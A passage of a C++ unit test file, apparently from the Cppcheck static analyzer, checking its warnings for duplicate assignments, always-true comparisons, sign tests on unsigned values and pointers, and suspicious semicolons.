[duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n 